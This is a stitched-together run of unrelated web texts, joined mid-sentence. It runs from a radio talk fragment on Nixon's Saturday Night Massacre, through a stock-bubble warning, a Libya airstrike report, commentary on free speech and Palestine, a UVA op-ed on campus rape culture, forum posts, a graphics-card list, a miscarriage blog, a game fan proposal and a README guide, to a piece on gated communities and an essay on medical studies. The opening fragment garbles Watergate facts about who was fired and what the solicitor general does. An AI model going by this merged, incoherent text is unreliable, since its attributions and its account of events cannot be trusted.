“Screw you.” So Nixon fired that guy. The solicitor general, the guy that represents the United States Supreme Court. Robert Bork replaced the fired solicitor general and went over and fired Cox. That happened on a Saturday in the early seventies. I was in Pittsburgh. I remember this ’cause the program director of the station where I worked called me to come in ’cause we might not have a show to do Monday. They thought the country was gonna fall apart because of this.
I’m not kidding you. I’m 22 years old. I’m saying, “What?” “Yeah, man! The Saturday Night Massacre. Nixon’s going nuts. You gotta get in here. We need everybody at the station in case they close the city off.” “Are you kidding me?” “No. Get in here.” So we go in there Saturday night because of the Saturday Night Massacre. Bork got rid of Cox. That was it, and it didn’t save Nixon. Nixon wasn’t doing a coup. Nixon was president. Trump’s not doing a coup. He is president.
Leaders don’t mount coups! Leaders have coups mounted against them, which is what is happening here.Michael Snyder
Activist Post
It is time to crank up the Looney Tunes theme song because Wall Street has officially entered crazytown territory. Stocks just keep going higher and higher, and at this point what is happening in the stock market does not bear any resemblance to what is going on in the overall economy whatsoever. So how long can this irrational state of affairs possibly continue?
Stocks seem to go up no matter what happens. If there is good news, stocks go up. If there is bad news, stocks go up. If there is no news, stocks go up. On Thursday, the day after Christmas, the Dow was up another 122 points to another new all-time record high. In fact, the Dow has had an astonishing 50 record high closes this year. This reminds me of the kind of euphoria that we witnessed during the peak of the housing bubble. At the time, housing prices just kept going higher and higher and everyone rushed to buy before they were “priced out of the market”. But we all know how that ended, and this stock market bubble is headed for a similar ending.
It is almost as if Wall Street has not learned any lessons from the last two major stock market crashes at all. Just look at Twitter. At the current price, Twitter is supposedly worth 40.7 BILLION dollars. But Twitter is not profitable. It is a seven-year-old company that has never made a single dollar of profit.
Not one single dollar.
In fact, Twitter actually lost 64.6 million dollars last quarter alone. And Twitter is expected to continue losing money for all of 2015 as well.
But Twitter stock is up 82 percent over the last 30 days, and nobody can really give a rational reason for why this is happening.
Overall, the Dow is up more than 25 percent so far this year. Unless something really weird happens over the next few days, it will be the best year for the Dow since 1996.
It has been a wonderful run for Wall Street. Unfortunately, there are a whole host of signs that we have entered very dangerous territory.
The median price-to-earnings ratio on the S&P 500 has reached an all-time record high, and margin debt at the New York Stock Exchange has reached a level that we have never seen before. In other words, stocks are massively overpriced and people have been borrowing huge amounts of money to buy stocks. These are behaviors that we also saw just before the last two stock market bubbles burst.
And of course the most troubling sign is that even as the stock market soars to unprecedented heights, the state of the overall U.S. economy is actually getting worse…
During the last full week before Christmas, U.S. store visits were 21 percent lower than a year earlier and retail sales were 3.1 percent lower than a year earlier.
The number of mortgage applications just hit a new 13-year low.
The yield on 10-year U.S. Treasuries just hit 3 percent.
For many more signs like this, please see my previous article entitled “37 Reasons Why ‘The Economic Recovery Of 2013’ Is A Giant Lie“.
And most Americans don’t realize this, but the U.S. financial system and the overall U.S. economy are now in much weaker condition than they were the last time we had a major financial crash back in 2008. Employment is at a much lower level than it was back then and our banking system is much more vulnerable than it was back then. Just before the last financial crash, the U.S. national debt was sitting at about 10 trillion dollars, but today it has risen to more than 17.2 trillion dollars. The following excerpt from a recent article posted on thedailycrux.com contains even more facts and figures which show how our “balance sheet numbers” continue to get even worse…
Since the fourth quarter of 2009, the U.S. current account deficit has been more than $100 billion per quarter. As a result, foreigners now own $4.2 trillion more U.S. investment assets than we own abroad. That’s $1.7 trillion more than when Buffett first warned about this huge problem in 2003. Said another way, the problem is 68% bigger now.
And here’s a number no one else will tell you – not even Buffett. Foreigners now own $25 trillion in U.S. assets. And yet… we continue to consume far more than we produce, and we borrow massively to finance our deficits.
Since 2007, the total government debt in the U.S. (federal, state, and local) has doubled from around $10 trillion to $20 trillion.
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Download Your Free Copy of Counter Markets Meanwhile, the size of Fannie and Freddie’s mortgage book declined slightly since 2007, falling from $4.9 trillion to $4.6 trillion. That’s some good news, right?
Nope. The excesses just moved to a new agency. The “other” federal mortgage bank, the Federal Housing Administration, now is originating 20% of all mortgages in the U.S., up from less than 5% in 2007.
Student debt, also spurred on by government guarantees, has also boomed, doubling since 2007 to more than $1 trillion. Altogether, total debt in our economy has grown from around $50 trillion to more than $60 trillion since 2007.
So don’t be fooled by this irrational stock market bubble.
Just because a bunch of half-crazed investors are going into massive amounts of debt in a desperate attempt to make a quick buck does not mean that the overall economy is in good shape.
In fact, much of the country is in such rough shape that “reverse shopping” has become a huge trend. Even big corporations such as McDonald’s are urging their employees to return their Christmas gifts in order to bring in some much needed money…Image copyright Getty Images / AFP Image caption B-2 stealth bombers were used in the US operation
A US air strike on Libya has killed more than 80 rebels from so-called Islamic State (IS), said outgoing US Defence Secretary Ash Carter.
The mission, which dropped around 100 bombs on Wednesday, is thought to be the last signed by President Barack Obama as he prepares to leave office.
Mr Carter said those targeted were "actively planning" attacks in Europe.
President-elect Donald Trump takes over as the US's new commander-in-chief on Friday.
On his last full day as defence secretary, Mr Carter said, "These were critically important strikes for our campaign and a clear example of our enduring commitment to destroy ISIL's [IS] cancer not only in Iraq and Syria but everywhere it emerges."
The strikes hit military camps run by IS and located about 30 miles (45km) south-west of the coastal city of Sirte - an IS stronghold until the group was driven out in December.
Two B-2 bombers flew a round-trip of around 34 hours from Missouri, US military officials said.
It was the first time the stealth planes had been used in combat in Libya since March 2011, when they were deployed as part of the campaign to oust long-time leader Muammar Gaddafi.
Libya has become increasingly divided since Gaddafi's fall, with competing governments and rival militias seeking to gain territory and influence.There’s free speech, and then there’s speech free of a moral base. Michael Brull explains the difference.
We constantly hear about how freedom of speech is under attack in Australia. Mostly, these calls ramp up when someone says something offensive about Muslims or Aboriginal people. If people request an apology, that is treated as some kind of vicious attack on freedom of speech.
Yet when it comes to issues close to the heart of right-wingers, entirely different values come into play. An illustrative example of this is the question of Palestine.
Contrary to their professed love of vigorous, offence-giving debate, what actually happens is that the rare signs of dissent are ferociously sought out and pounced upon.
Apologies are demanded and acquired, yet this is never regarded as a freedom of speech disaster by the freedom warriors. I will give two examples, one from the ABC, the other GetUp!
ABC and Q&A
On one episode of Q&A, a tweet was aired which offended supporters of the Israeli government. It said “Any young radicals who join ISIS or Israel should not be allowed into Australia”. The private Israeli lobby group AIJAC complained that this was “totally inappropriate” and “inflammatory”.
The Coalition’s Communications Minister complained to the ABC. In the rendering of the Australian, they were “forced” to apologise. Previously, Senator Mitch Fifield had also complained about a Muslim guest being allowed to question Pauline Hanson, as he had “denigrated two female politicians online”.
Yet for some reason these attempts at pressuring the ABC to apologise didn’t trouble the right-wing freedom warriors. Whilst debate should be more free about Muslims, evidently we should be more sensitive to AIJAC and their devotion to Israel.
Unlike the “lickspittles claiming to be journalists” who requested the Australian apologise for the Bill Leak cartoon, the ABC is far more vulnerable to the Communications Minister. Yet just as Turnbull having SBS journalist Scott McIntyre fired didn’t trouble the freedom warriors, neither did the ABC being forced to apologise. Whilst Australian columnist Chris Mitchell explained that it was good how Bill Leak manages to “push, prod and offend in the world of contested ideas”, it seems some people are not to be pushed, prodded, or offended.
The opinion that “radicals who join ISIS or Israel” should be barred from Australia is not “wildly inaccurate”, as AIJAC claims. It is simply an opinion that they don’t like.
Though Mitchell and his colleagues claim to value contested ideas, it seems that this is the type of idea they don’t want contested. On our taxpayer-funded media, some blasphemies are inappropriate for the delicate ears of the public.
Yet whilst the ABC is attacked for mildly stepping out of line, it seems clear that one way or another, they have learned obedience. The other day, the ABC issued corrections for a report on Gaza. They included this: “In the online version of the story, Gaza was described as ‘occupied’. This was not correct and has been removed.”
They don’t explain on what basis they formed this opinion. Note how categorical the ABC’s judgment is. Gaza is not occupied, and this is beyond dispute.
There are others who do not share this opinion. For example, Human Rights Watch regards Israel as an “occupying power”. So does Amnesty International. And the Red Cross says Gaza is occupied. And John Dugard, the former special rapporteur on the situation of human rights in the Occupied Palestinian Territories, thinks Gaza is still occupied. So does the World Bank. And the CIA, and the US State Department. And the General Assembly of the United Nations, and the Prosecutor of the International Criminal Court.
Anyone who would like a detailed explanation of this issue can consult paragraphs 26-31 of the McGowan Davis report on the 2014 attack on Gaza, which reaffirms that Israel occupies Gaza.
The point of this is not that the ABC is wrong. It is that its correction flatly contradicts a well-established point of international law, as upheld by numerous experts and reputable international organisations. Yet whilst free speech would die if the Australian were to apologise for a racist cartoon, there has been zero critique of the ABC’s apology.
In a story from two weeks before the corrected story on Gaza, the ABC identified an area as in the “occupied Golan Heights in Israel”. In fact, the Golan Heights are occupied by Israel, but they are not in Israel. They are in Syria.
I contacted the ABC to correct this assertion. Though I contacted the ABC about this story before the Gaza report was published, I have not heard back from them. It is striking that the ABC corrected its factually correct claim, whilst leaving the factually incorrect claim up.
GetUp!
Earlier this week, Sharri Markson wrote for the Australian that a board member of activist organisation GetUp!, Sara Saleh, supports boycotting Israel, and made critical remarks about it in a speech in March this year.
What is the significance of this? Markson didn’t explain. Presumably, being critical of Israel in and of itself is somehow inappropriate for an avowedly progressive organisation. GetUp! has traditionally infuriated conservatives, so it is likely there will be more trawling of social media to fuel further attacks.
Yet there is no evidence that GetUp! intends to change its non-position on Palestine. In a Q&A from the event Markson reported on – just as available on YouTube as the speech Markson reported on – the first question to Saleh was whether she would push GetUp! to take a stand on Palestine. She replied that:
“… at the moment, its remit is basically to try and, it’s a movement basically that is for a more progressive Australia. A more progressive Australia in every sense be it refugees or Indigenous issues, or talking Islamophobia and whatnot. And as you know, as was mentioned in the presentations earlier today, what’s been happening in the discourse lately is that refugees, brown people, Muslim, Palestinians have all been lumped into this one big narrative just to basically link them all together…. So what we’ve been doing is trying to make sure that that doesn’t happen, especially in terms of Australian policy, and inevitably, that does, when you talk about refugees, or when you talk about global equality, and anti-racism, you tend to obviously bring in the question of Palestine. Especially when parallels are made with the colonisation here, and obviously Aboriginal history. So, it does come up, it’s not something that they have worked on in the past, and I’ve been a board member now for 6 weeks, two months…. So maybe it’s something that we can put on the agenda, but they’re definitely aware, and it’s definitely something that they’re happy to support in their propensity, and maybe in the future as well.”
I suspect most people in the audience, and the 171 people who have watched the YouTube video at time of writing, did not take this as a sign that GetUp! had any serious plans to change its long standing silence on Palestine.
In the four and a half months since Saleh’s comments, GetUp! has given no indication of taking a position on anything relating to Israel and Palestine. Though it was founded in 2005, it has never campaigned against the actions of Israel. It has not commented on the war on Lebanon in 2006, the wars on Gaza in 2008-9, 2012, or 2014.
It has not opposed house demolitions, torture, administrative detention, the occupation, the destruction of Bedouin villages, or the siege on Gaza. The only time I am aware of it having ever hinted at opposition to anything Israel does, is in its support for a ban on cluster bombs.
In its FAQ, it included Israel in a list of countries that have used them. For balance, it then included Hezbollah as a non-state group which has also used cluster munitions.
Markson’s article is based on the premise that there is something inherently inappropriate about criticisms of the Israeli government. Yet GetUp! says it campaigns on issues relating to human rights. In a sane world, GetUp! would have taken a position on Palestine by now. The strange thing is not that someone in GetUp! doesn’t like Israel, but that Australia’s largest non-political progressive organisation has nothing to say about Australia’s role in human rights abroad.
Yet GetUp’s silence on Palestine is still not enough, just as the actual guests on Q&A sparing Israel any criticism wasn’t enough. Even the hint of dissent that may come is enough to set off the right. They claim to value vigorous debate, but Palestine is just one example where you’re hard-pressed to find any real debate in mainstream political discourse. Instead, we witness the sorry spectacle of fanatical supporters of Israel, and major organisations doing their best to bend over backwards to appease them, or otherwise remaining silent.The UVA campus, before allegations of a fraternity gang rape appeared in the pages of Rolling Stone.
Photo by Melinda Fawver/Shutterstock
Between the time I walked into Old Cabell Hall, which houses the Music Department at the University of Virginia, where I work as a professor, and the time I got to my office Wednesday morning, I heard the word “rape” seven times. Wednesday was the day Rolling Stone published the story of a UVA student who says she was gang-raped in a fraternity. If anyone at the University of Virginia was shocked by this article, then they have not been paying attention.
A very expensive mural called “The Student’s Progress” covers the entire foyer and stairwell of Old Cabell Hall, which is also the University’s premier auditorium and the favored space for visiting dignitaries. The mural depicts, among other scenes of daily life at the University of Virginia, a male faculty member standing on a porch and tossing a mostly naked student her bra as his beleaguered wife comes up the stairs. My students and I have pointed out that wildly inappropriate section of the mural to faculty, administrators, students, parents, and donors, but so far, no one has been particularly horrified. The mural is proudly displayed and is prominently featured on UVA tours.
A panel from the mural, “The Student’s Progress,” at UVA. Kyle Ruempler
Same panel, slightly different angle. Kyle Ruempler
UVA has a rape culture problem. Rape culture normalizes rape as part of a larger system of attitudes and understandings of gender and sexuality. Rape culture can include victim blaming, and assuming that rapists are strangers. Rape culture accepts rape as a norm that women have to work to avoid. Rape culture reflects a community grounded in patriarchal privilege and gender inequity. For example, that mural. Or the fact that our sacred founder, Thomas Jefferson, had sex with a 14-year-old enslaved girl. (That’s not consensual.)
UVA also has an over-the-top drinking culture. In my experience with students who come to me with stories of being assaulted or harassed, the vast majority of sexual violence here involves alcohol consumed by one or both parties. (When a student comes to me, I always send him or her—and it’s almost always her—to the counseling center and to Nicole Eramo, the UVA employee who was featured unsympathetically in the Rolling Stone piece. I almost always encourage them to report to the university or the police.) UVA also has a recent history of terrifying domestic violence. In 2010, student George Huguely brutally murdered another student, Yeardley Love, who he had dated and abused in the past.
Nothing in the Rolling Stone article about university culture is new. Yale made the national news in 2013 because only one in six students found responsible for non-consensual sex were suspended. The past few years have witnessed a steady stream of alleged rapes at schools with big revenue-generating sports cultures and Greek systems. Part of the supposed shock of the article involves a sense that we as an institution are committed to high-minded ideas and taking care of our students, and that we ought to be better than this, even better than the rest of the society. If only that were true: UVA is one of more than 70 institutions under Title IX investigation by the Department of Education for the possible mishandling of sexual violence and harassment reports. UVA has its own brand of white southern patriarchal privilege but it is definitely not alone. Harvard, Princeton, Dartmouth, William and Mary, and UNC Chapel Hill made the list too.
Many of us at the university who work on sexual violence issues—either through teaching feminist theory courses, working with survivors of rape and harassment, or pushing the university towards gender equality—have made the point this week that rape is not a new emergency at UVA. Harassment, assault, and rape have been going on for years, in fraternities and in many other parts of the university. If this Rolling Stone article prompts social change, that will be amazing. But for that to happen, we all need to exit panic mode.
My colleague, Jennifer Rubenstein, a professor in the politics department, has explained that calling a moment an “emergency” can, in the end, normalize top-down political systems. Emergency implies something unexpected that needs immediate attention. An emergency indicates that things were normal until now. The easiest way to return to business as usual, which was part of the problem, is to stress the Rolling Stone article and the alleged gang rape as an exceptional moment. The second easiest way to return to business as usual is to assume that if we shut down the frats for some amount of time the problem will be fixed.
UVA doesn’t need shock. It needs sustained anger and energy. As for my own anger: I am angry at the alleged rapists. I am angry at an institution that is so embedded in white patriarchal traditions that a female student of color may never ever find any official social space that works for her at UVA. I am angry at my colleagues who are willfully ignorant that rape happens here and who have done nothing about faculty and staff who commit egregious acts of harassment. And I am angry at an institution that would let Eramo, a female associate Dean with relatively little power, be a scapegoat for national and local media alike. It was not shock that I felt when reading the Rolling Stone article. It was anger. And reading the piece with a student who also was not shocked was one of the more excruciating experiences of my time at this school.Graphics Horse said: Vita will be up YoY until last year's price cut I guess. Click to expand...
1st Course said: Nintendo must release the 2DS asap, I don't see the 3DS doing even 3m this year at this rate. Click to expand...
Probably, this year's Feb releases are not as strong iirc.I think Vita will be the only platform this year to show growth though. Everything else will be down YoY and the PS4 will suck the air out of the room for Wii U just as it has done in the west.2DS won't do much to increase the baseline in Japan. The market is not as price sensitive as in the west and the 2DS is not as portable. It is a device designed for western audiences. Take a look at the current sales split, the XL takes the majority of sales every week and it is significantly more expensive than the vanilla one. A lower price won't add much to sales in Japan IMO |
PowerColor RED DEVIL RX 480 $231.99 Clock Speed: 1,330 MHz
Video RAM: 8GB
PCIe Connector: 8 pin
Ports: 3x DisplayPort, 1x HDMI, 1x DVI-D Sapphire NITRO+ RX 480 $209.99 / $244.99 Clock Speed: 1,306 MHz
Video RAM: 4GB / 8GB
PCIe Connector: 8 pin
Ports: 2x DisplayPort, 2x HDMI, 1x DVI-D VisionTek RX 480 $214.99 Clock Speed: 1,226 MHz
Video RAM: 8GB
PCIe Connector: 6 pin
Ports: 3x DisplayPort, 1x HDMI
RX 580 Performance in macOS
Good luck and have fun!
P.S. If you’d like to use a Radeon RX 480/RX 580 as an external graphics card with your Thunderbolt-equipped Mac, read my eGPU Beginner’s Setup Guide.Pin Yum 133 Shares
Grief is a very powerful emotion. I have felt this emotion several times over my 38 years but never as much as I feel it today. I feel consumed by grief and pain but I can’t let it take over and hold me, although I want it to so badly. I want to curl up in a ball and just let the tears fall until I have none left. I read a post a few days ago from one of my favourite bloggers, Sarah from Journeys of the Zoo about loss and I will tell you what I said to her rings so true for me right now more than ever.
“It doesn’t matter if they lived 9 seconds or 90 lifetimes, the loss is yours to feel…”
I never imagined that I would be dealing with this myself just a few short days later. The baby that we so desperately wanted and tried so badly for, passed away 3 weeks ago, although I didn’t find out until yesterday that it was gone. I have never felt so alone and devastated. The words that were being spoken were a blur to me and I just wanted to scream and yell at anyone that I could blame for taking my baby. I have never really believed in God but all of a sudden it was his fault, He took my baby. I then blamed myself although I know in my heart that I did nothing wrong and that this wasn’t my fault but it almost seemed easier to blame myself than to think that something so horrible could just happen. I took for granted that because I had 4 wonderful pregnancies that all ended with healthy, happy babies that this wouldn’t happen to me. This loss is just eating at me, gnawing on my gut and my heart. I think what makes this worse for me is know that for 3 weeks my baby lay in my womb with no life before my body decided to tell me that something was wrong.
I was given my options for dealing with my loss and I chose to have the surgical D & C procedure purely out of cowardice I think. I couldn’t imagine spending the next days, weeks or even as long as a month waiting for nature to take is course which they call “expectant management” or use a prescription prostaglandin to induce a sick form of labour so I could spend 20 minutes to an hour sitting in a bathroom waiting for my baby to leave me. These options were not for me and I chose to have it done while I slept and when I woke up, it would be done. I don’t remember anything after falling asleep until I woke up in recovery with such a feeling of loss I couldn’t contain the tears, they flowed freely down my cheeks as I realized that where there once had been a living baby in my womb, there was now just emptiness. Even worse I get to spend the next few weeks still feeling pregnant and sick until my hormone levels drop to zero, a constant reminder of what was, along with bleeding and just feeling empty.
I can’t even explain the feelings that I am having. The things that I have still done even knowing that the baby is gone. I feel stupid when I rub my belly as I know there is nothing there but for the last 11 weeks there was. My pregnancy books were out when I got home, my ultrasound picture from just before my baby died, even my prescription for morning sickness has set me off. I cry every time I see something on TV and now no matter where I go, there are pregnant women everywhere. I totally get it now. For all the women who have lost a baby, I get it. I had no idea the pain or loss that you felt but I do now and I am so sorry for each and every one of those losses.
I needed to write this post as a kind of therapy for myself. I needed to document our loss and all of my emotions. As happy and excited as I was to let you all know about our baby, it was equally important for me to tell you about the loss of it. I will tell you that when I got home after the procedure, I hugged each of my kids just a little tighter, thankful that they were here when I came home, grateful that I have each of them but so devastated by the loss of what should have been.
I will never hear their cry or feel their little feet kick but I am and always will be their mommy. My little one was taken from me far too soon but will always have a little piece of my heart. When I am asked I will say that I have 5 children although one is no longer with us. I grieve for what should have been and I am allowed. We are allowed. Although my husband shows very little emotion, I know that this weighs heavily on his heart too but he is staying strong for me because he knows how much I need to lean on him now. His shoulders will take the weight of both our pain and he will not complain or express anything but support and love for me. He is my rock and I am thankful for his strength.
Our journey for baby #5 is over for now but as time heals all wounds, we will all heal too. I am strong and I am also a firm believer that all things happen for a reason. I thought about deleting all the posts and pictures and even throwing away our ultrasound picture from when our baby was alive and well in my womb but I will not. I will not erase this baby because it was and will always be one of my babies. We lost something precious and I will not erase that. I am taking some time away for a bit as I take time to grieve with my family but I will return stronger and happy for all of the things precious in my life, but for now I weep for my baby.
“No one can know how much I loved you, because you are the only one that knows what my heart sounds like from the inside” ~Author Unknown
Tags : angel baby, grief, loss, miscarriage, pregnancyPosted 18 December 2013 - 06:06 PM
Preface:
May 4th, 2014 7:00PM PST
May 5th, 6:00-10PM PST
May 6th, 8AM PST - MIDNIGHT
May 7th, 7PM PST
May 8th - 10th
Denouement:
I was raised with the understanding that everyone should take pride in what they do. No matter if you deliver pizzas or perform open heart surgery, what you do matters to someone. It is with this in mind that I offer my vision of how the Mechwarrior Online Clan reveal could have taken place. This belongs in the Upcoming Features Sub-Forum as I think it should be a rallying call for the developers to protect and promote the game in a way that will secure its future.Imagine for a few minutes a world where MWO was in the hands of a development team that prioritized core design pillars, allocated resources effectively to avoid bottlenecks, and did not find themselves caught in the quagmire of trying to balance complex systems by adding additional complex systems.Furnished with accounts bearing first names and a few with recognizable bloodnames, 12 Clan mechs piloted by PGI employees drop into a random match. Each mech, having been completely modeled, tested, and polished to perfection, is loaded with an absurd amount of armor (4-5x actual numbers) and the loadouts expected for each of the primary config omnimechs.Over the recently implemented in-game voice communication system at the start of the match, players hear the pre-recorded batchall, “This is Star Commander Jamie Binetti from Clan Jade Falcon. What forces to you pledge to the field this day?” No matter the response, after a few moments the recording will continue, “Bargained well and done…” The players are outgunned and outclassed by the buffed Clan mechs, and the resulting battle will be quickly finished.After only a single match, the forums and other MWO communities would erupt with activity as the 12 defeated players, who would definitely have taken plenty of screenshots, share their exciting experience. In reward for their sacrifice, these random 12 players receive a special achievement on their account as, “First of the Fallen.”As with the previous night, the Clans will drop again, this time instead of a single match, they play ten matches between 6PM and 10PM PST. To prevent duplicate experiences, a script has been added to the matchmaker that makes it impossible to drop against the Clan mechs more than a single time. This makes the experience special for each player, as well as improves the chances that players will get a chance to be stomped in the invasion.By the second night, screenshots have flooded the mwomercs forums as well as reddit and the other major sites. Attention is gained by the major gaming sites as the information of the coming event is passed to them by PGI.PGI employees are called in for the special event. It’s an all hands on deck moment as is common with online games where employees are called in to populate an environment when the game is being shown off in a public event. All the accounts are created as Clan mechwarriors. Each of them pilots a mech with a configuration expected from the reinvisioning of the Clan technology. For the entirety of the day, the mission is to make sure that no player who logs in on May 3rd and plays for a suitable amount of time, walks away without having participated in the invasion of the Clans.A special one-time achievement is added to each account titled, “Operation Revival Veteran”. By now, the playerbase is excited. The forums are filled with players who are eager to share their experiences being trounced by the mysterious Clan mechs.In a video uploaded to mwomercs.com, twitter, and seeded into some of the gaming news sites such as TheMittani.com, PGI announces that the Community Warfare map that players have been fighting over for the past three months is going to change dramatically. Along with well edited, “Battle footage” of clan mechs in action, the CW map of the Inner Sphere morphs to show the path of conquest.Along with the video, it’s announced that each of the six invading Clans will added to the list of factions, with their own rewards earned through the generation of Loyalty Points. The mwomercs.com page is then updated to showcase each of the new Clan mechs, their loadouts, and a primer on the clan equipment entering the game.The finale of the video includes an announcement of the Operation Revival Packs. Though each of the battlemechs can be purchased with MC for two months (c-bills after that), two Star packs will be available, each with 5 mechs (with all three variants), 90 days of premium time, the purchaser's choice of Clan faction medallions, and paint schemes unique to each Clan. Gold versions of each of the clan mechs are available as a vanity upgrade for $99 apiece.In addition to the Clan items, new vanity items are announced for the benefit of those MWO players who are not, for whatever reason, excited by the arrival of the Clans. The first item is the long-awaited emblem system that allows players to upload self-created insignia in exchange for MC and place them on their mechs. The second, surprise item is the battlemech War Banner. With a look similar to Japanese battlefields of antiquity, battlemechs now have the ability to let their flags fly, showing off their faction and unit emblems. The war banners are available on a per battlemech basis and can be purchased and modified with MC.The invasion week events are topped off with a tournament that showcases the strength of the still new UI2.0 by allowing organized teams to compete with the new Clan battlemechs. Coupled with the tournament's start is an announcement that accounts that do show a login for the past two months have been gifted with the injection of the Nova.While at first glance this might be seen as rewarding players who don't play, it is actually a good faith attempt to bring back players who may have written the game off in the past. The gifted mechs are not lost revenue as they would not have been purchased by inactive accounts anyway. Instead, it results in an increase in revenue and active players, filling the queues and guaranteeing MWO's continued growth.This was an account of what could have been. It was written with bittersweet memories of long nights where mumble was packed with lances and eight-mans, eager to play a game that we were all excited to see succeed. Everyone makes mistakes, but only some people have the maturity and internal strength to turn those mistakes into lessons. Take pride in what you do, because if you don't, someone will come along and show everyone they can do it better.
Edited by mint frog, 20 December 2013 - 05:23 PM.Suggestions for a good README
Every project is different, so consider which of these sections apply to yours. The sections used in the template are suggestions for most open source projects. Also keep in mind that while a README can be too long and detailed, too long is better than too short. If you think your README is too long, consider utilizing another form of documentation rather than cutting out information.
Name
Choose a self-explaining name for your project.
Description
Let people know what your project can do specifically. Provide context and add a link to any reference visitors might be unfamiliar with. A list of Features or a Background subsection can also be added here. If there are alternatives to your project, this is a good place to list differentiating factors.
Badges
On some READMEs, you may see small images that convey metadata, such as whether or not all the tests are passing for the project. You can use Shields to add some to your README. Many services also have instructions for adding a badge.
Visuals
Depending on what you are making, it can be a good idea to include screenshots or even a video (you'll frequently see GIFs rather than actual videos). Tools like ttygif can help, but check out Asciinema for a more sophisticated method.
Installation
Within a particular ecosystem, there may be a common way of installing things, such as using Yarn, NuGet, or Homebrew. However, consider the possibility that whoever is reading your README is a novice and would like more guidance. Listing specific steps helps remove ambiguity and gets people to using your project as quickly as possible. If it only runs in a specific context like a particular programming language version or operating system or has dependencies that have to be installed manually, also add a Requirements subsection.
Usage
Use examples liberally, and show the expected output if you can. It's helpful to have inline the smallest example of usage that you can demonstrate, while providing links to more sophisticated examples if they are too long to reasonably include in the README.
Support
Tell people where they can go to for help. It can be any combination of an issue tracker, a chat room, an email address, etc.
Roadmap
If you have ideas for releases in the future, it is a good idea to list them in the README.
Contributing
State if you are open to contributions and what your requirements are for accepting them.
For people who want to make changes to your project, it's helpful to have some documentation on how to get started. Perhaps there is a script that they should run or some environment variables that they need to set. Make these steps explicit. These instructions could also be useful to your future self.
You can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.
Authors and acknowledgment
Show your appreciation to those who have contributed to the project.
License
For open source projects, say how it is licensed.
Project status
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.Continue Reading Below Advertisement
Unfortunately, science is finding that the chief benefits of gated-community living are illusory at best. Preliminary research finds that "crimes such as burglary drop in the first year or so of gating, but then rise back to the level of the areas outside." The president of research for the National Association of Home Builders found studies indicating "no differences" in crime between gated and non-gated communities. The City of Miami noted that "the long-term crime rate is at best only marginally altered."
The key is to realize how minimal the security actually is. You're not living behind a Simpsons movie-style dome, protected by your own personal military. You've got a gate, maybe with an electronic code, or maybe with a security guard making barely over minimum wage. In both cases, you can't keep everyone out -- friends, family members, landscaping crews, pizza delivery drivers, all have to be able to pass in and out. The system will always have to allow a certain number of strangers in. Meanwhile, the burglars in the area know that those houses behind the gates have all the nicest stuff -- you're announcing that just by living there -- and that it's not exactly freaking Fort Knox.
That security guard will answer your call as soon as he finishes his joint.
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And if something bad does happen in your gated paradise? Rescue workers often have issues getting past unmanned security gates and maneuvering bulky emergency vehicles through them. This increases ambulance response time, which can kill you just as dead as the PCP-raging vandals lying in wait outside your fancy walls.
"...and that's why we have to make sure all the mail boxes are the same color."
As it turns out, gated communities aren't even good for the illusion of security. Multiple studies in the U.S. and the U.K. show that "residents do not necessarily experience a reduced sense of fear after moving to a gated development. In fact, people can become more fearful and anxious about leaving the safety of their community." Fences have that effect. First you like them, then you feel naked without them.
Yeah, we're thinking you'd be better off with a big dog.
For more ideas that didn't work out so well, check out The 5 Most Popular Safety Laws (That Don't Work) and 5 Retarded Health Campaigns That Backfired (Hilariously).
And stop by Linkstorm to see how DOB's attempt at Match.com hilariously failed.
Cracked.com is looking for a lead PHP engineer to join our team of award-winning badasses. For more info, click on this now working hyperlink!
And don't forget to follow us on Facebook and Twitter to get sexy, sexy jokes sent straight to your news feed.
Do you have an idea in mind that would make a great article? Then sign up for our writers workshop! Know way too much about a random topic? Create a topic page and you could be on the front page of Cracked.com tomorrow!According to a report from the Federal Communications Commission (FCC), the Nintendo Switch will not be coming with a removable battery. This means that unlike the Wii U, which could extend its battery life with the inclusion of a GamePad battery by up to eight hours, the Switch will only be able to last as long as the battery it ships with.
So far, we know that the Nintendo Switch is a console/portable system hybrid, which comes with two detachable joy-con controllers. A recent Reddit AMA with video game critic Laura Kate Dale suggests that the Nintendo Switch will likely be launching on March 17 in the UK, with a 32GB entry model. Dale also points out the Switch will be able to run more than 3 hours in portable mode if you turn down the settings.
A private, hands-on Nintendo Switch event will be held on January 13 in New York City, where we can expect Nintendo to reveal the official price point and release date of the console.These studies are killing me... fortunately, I don't believe them
Pitt physicist ERIC SWANSON explains why you ought to be skeptical about medical studies
It seems that medical researchers and epidemiologists love to tell us how we are going to die. Too much salt, or talking on cellphones, or eating omelettes or red meat or aspartame will kill you. Or maybe not. There is a lot of information out there, sometimes contradictory, sometimes stretching the bounds of credulity, and sometimes it might actually save your life.
What is a person to do with the information spigot? Let's see what can be learned from three studies that have recently been in the news.
We're running out of children!
On June 8 the journal "Epidemiology" published a commentary on male fertility. At issue was a study from 1992 that claimed that human sperm counts had been steadily declining since the 1930s. This set off a flurry of speculation: maybe it was due to excess estrogen, or environmental chemicals or "endocrine disruption."
It also set off a lot of fear. The authors had kindly included a figure showing their rather ragged data with a line through it that pointed definitely and ominously downward. It is not often that you can sit in your comfy chair and stare straight in the face of Armageddon.
If you followed that line into the future you would find that sperm counts hit zero in the year 2063. No sperm -- no children. By the year 2163 a few centenarians would find themselves grubbing for food in the ruins of a once glorious society, feeling very much like Martha, the last passenger pigeon who died lonely and confused in 1914.
Great stuff for fiery sermons or apocalyptic sci-fi movies, but is it real?
Certainly there were problems with the study. Laboratory controls on counting sperm were weak, control of the tested population was loose and variations in the length of time men abstained before providing samples could easily have confounded the data.
The commentary from "Epidemiology" set the record straight with new data collected from Danish army recruits that avoided all of these issues. The result was no change in sperm counts for the period of the study, 1996 - 2008. Whew! Armageddon averted!
Lessons: If the experts say there are problems with a study, it is best to ignore it. The more dramatic the study result, the more likely it is to be wrong. Studies with extravagant claims need to be confirmed with careful follow-up research.
No more girls!
Our second example also has an apocalyptic flair. It seems that nuclear radiation suppresses the odds of giving birth to girls.
The authors of this claim, published this year in "Environmental Science and Pollution Research," examined the number of boys and girls born in Europe and the United States since World War II and asserted that significantly more boys were being born than usual (about an extra percent) in countries near the Chernobyl nuclear accident site. They finish their report with a dramatic "estimation of the global deficit of births [of girls] in the range of several millions."
